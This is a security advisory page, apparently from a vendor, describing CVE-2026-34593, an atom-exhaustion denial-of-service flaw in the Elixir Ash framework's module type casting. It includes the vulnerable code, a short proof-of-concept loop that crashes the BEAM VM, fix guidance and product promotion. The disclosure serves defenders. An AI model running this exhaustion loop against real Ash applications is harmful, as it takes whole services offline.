CVE-2026-34593 — ash
Fix: ash-project/ash@7031103CVE-2026-34593 is a Uncontrolled Resource Consumption vulnerability in ash. A fix is available for ash — see the affected versions and patch details below.
Ash Framework: Ash.Type.Module.cast_input/2 atom exhaustion via unchecked Module.concat allows BEAM VM crash
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34593.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
ashReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Hex packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Ash.Type.Module.cast_input/2 unconditionally creates a new Erlang atom via Module.concat([value]) for any user-supplied binary string that starts with "Elixir.", before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type :module can exhaust this table and crash the entire BEAM VM, taking down the application.
Details
Setup: A resource with a :module-typed attribute exposed to user input, which is a supported and documented usage of the Ash.Type.Module built-in type:
defmodule MyApp.Widget do
use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer
attributes do
uuid_primary_key :id
attribute :handler_module, :module, public?: true
end
actions do
defaults [:read, :destroy]
create :create do
accept [:handler_module]
end
end
end
Vulnerable code in lib/ash/type/module.ex, lines 105-113:
def cast_input("Elixir." <> _ = value, _) do
module = Module.concat([value]) # <-- Creates new atom unconditionally
if Code.ensure_loaded?(module) do
{:ok, module}
else
:error # <-- Returns error but atom is already created
end
end
Exploit: Submit repeated Ash.create requests (e.g., via a JSON API endpoint) with unique "Elixir.*" strings:
# Attacker-controlled loop (or HTTP requests to an API endpoint)
for i <- 1..1_100_000 do
Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: "Elixir.Attack#{i}"})
|> Ash.create()
# Each iteration: Module.concat(["Elixir.Attack#{i}"]) creates a new atom
# cast_input returns :error but the atom :"Elixir.Attack#{i}" persists
end
# After ~1,048,576 unique strings: BEAM crashes with system_limit
Contrast: The non-"Elixir." path in the same function correctly uses String.to_existing_atom/1, which is safe because it only looks up atoms that already exist:
def cast_input(value, _) when is_binary(value) do
atom = String.to_existing_atom(value) # safe - raises if atom doesn't exist
...
end
Additional occurrence: cast_stored/2 at line 141 contains the identical pattern, which is reachable when reading :module-typed values from the database if an attacker can write arbitrary "Elixir.*" strings to the relevant database column.
Impact
An attacker who can submit requests to any API endpoint backed by an Ash resource with a :module-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.
Fix direction: Replace Module.concat([value]) with String.to_existing_atom(value) wrapped in a rescue ArgumentError block (as already done in the non-"Elixir." branch), or validate that the atom already exists before calling Module.concat by first attempting String.to_existing_atom and only falling back to Module.concat on success.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💧Hex | ash | all versions | 3.22.0mix deps.update ash |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ash, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ash to 3.22.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34593 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34593 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-34593. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-34593 in your dependencies?
O3 Security finds CVE-2026-34593 across Hex dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.